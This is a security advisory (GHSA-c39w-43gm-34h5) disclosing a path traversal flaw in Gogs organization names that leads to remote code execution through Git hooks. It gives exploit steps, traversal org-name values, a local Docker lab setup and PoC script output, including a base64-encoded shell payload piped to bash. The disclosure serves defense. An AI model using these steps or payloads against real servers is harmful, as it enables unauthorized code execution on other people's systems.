GHSA-c39w-43gm-34h5

Summary

Organization names containing path traversal sequences (../) are accepted by Gogs, and repositories under them are written to paths following these path traversals. This allows storing/retrieving data for repositories at arbitrary locations on the filesystem. By creating nested structure of Git repositories, one can overwrite the other's hooks configuration to result in Remote Code Execution (RCE).

Details

During organization creation, internal/database/org.go calls os.MkdirAll(repox.UserPath(org.Name)) without sanitizing org.Name.

https://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/database/org.go#L165

Repository creation uses this name to decide where to write the Git bare repository's (org/name.git). By setting the org name to ../../../../tmp/test, and creating a repository under that organization, it gets written under /tmp/test on the server.

https://github.com/gogs/gogs/blob/d7571322a04a29476d4241406ed50bf7eef0a5b7/internal/repox/repox.go#L57-L58

An attacker can abuse this in a clever way by writing to the /data/gogs/data/tmp/local-r/1 directory, being a local worktree of the git repositories inside of Gogs. These directories are editable by Git. By creating a repository nested inside of there, files like config and hooks/update are now referenced through the path traversal, and are editable by Git. This allows the attacker to edit the hooks/update script with malicious Bash commands and then to trigger the hook.

The steps to exploit this inside of Gogs are roughly (ignoring some syncing dummy actions):

1. Create regular outer repository and get its ID
2. Create organization named ../../../../data/gogs/data/tmp/local-r/{ID}/nested
3. Create a repository inside this organization (eg. rce), which will be written into the local clone of the outer repository
4. From the outer repository, edit nested/rce.git/hooks/update to contain malicious shell commands
5. Interact with the rce repository again to trigger the updated hook, and RCE is achieved

PoC

1. Set up a default Gogs instance by saving the following content to docker-compose.yml and running docker compose up:

services:
  db:
    image: postgres:16-alpine
    environment:
      POSTGRES_USER: gogs
      POSTGRES_PASSWORD: gogs
      POSTGRES_DB: gogs
    volumes:
      - postgres-data:/var/lib/postgresql/data
    restart: unless-stopped
    healthcheck:
      test: [ "CMD-SHELL", "pg_isready -U gogs -d gogs" ]
      interval: 5s
      timeout: 5s
      retries: 5

  gogs:
    image: gogs/gogs
    depends_on:
      db:
        condition: service_healthy
    ports:
      - "3000:3000"
    volumes:
      - gogs-data:/data
    restart: unless-stopped

volumes:
  gogs-data:
  postgres-data:

1. Visit http://localhost:3000, set the Host to db:5432 and Password to gogs. Under Admin Account Settings configure your admin account
2. As the attacker, register an account with username attacker and password attacker at http://localhost:3000/user/sign_up
3. As the attacker, run the following script (in gist to avoid cluttering this advisory):

https://gist.github.com/JorianWoltjer/4b72063338b27140f4439c524d98f2b9

The output should look like:

$ python3 gogs-rce.py
step 1 token ok
step 2 create personal repo 201 full_name attacker/writer-bd426045
step 3 web editor new file on attacker / writer-bd426045
step 4 GET writer repo -> local-r 1
step 5 create org 201 local-r 1 username ../../../../data/gogs/data/tmp/local-r/1/nested
step 6 get org 200 username ../../../../data/gogs/data/tmp/local-r/1/nested
step 7 create repo 201 full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 html_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 clone_url http://localhost:3000/../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7.git
step 8 get repo 200 owner.username ../../../../data/gogs/data/tmp/local-r/1/nested full_name ../../../../data/gogs/data/tmp/local-r/1/nested/rce-b175aca7 empty False
Cloning into '/tmp/poc-writer-fy4k5064'...
remote: Enumerating objects: 6, done.
remote: Counting objects: 100% (6/6), done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 6 (delta 0), reused 0 (delta 0), pack-reused 0 (from 0)
Unpacking objects: 100% (6/6), 491 bytes | 491.00 KiB/s, done.
step 9 clone writer repo -> /tmp/poc-writer-fy4k5064
[master 3cf84b2] poc: nested/rce-b175aca7.git hook path
 1 file changed, 1 insertion(+)
 create mode 100755 nested/rce-b175aca7.git/hooks/update
step 10 write nested/rce-b175aca7.git/hooks/update with echo 'aWQ=' | base64 -d | bash > pwned
Enumerating objects: 7, done.
Counting objects: 100% (7/7), done.
Delta compression using up to 14 threads
Compressing objects: 100% (2/2), done.
Writing objects: 100% (6/6), 1022 bytes | 1022.00 KiB/s, done.
Total 6 (delta 0), reused 0 (delta 0), pack-reused 0
To http://localhost:3000/attacker/writer-bd426045.git
   b0b9886..3cf84b2  master -> master
step 11 push writer
step 12 API new file on attacker / writer-bd426045
step 13 API new file on org ../../../../data/gogs/data/tmp/local-r/1/nested / rce-b175aca7
step 14 API new file on attacker / writer-bd426045
step 15 GET raw pwned 200 http://localhost:3000/attacker/writer-bd426045/raw/master/nested/rce-b175aca7.git/pwned

=== COMMAND OUTPUT ===
uid=1000(git) gid=1000(git) groups=1000(git)

Impact

In the default setting, users can self-register and then create their own organizations. From here they can perform this exploit to achieve RCE as the git user.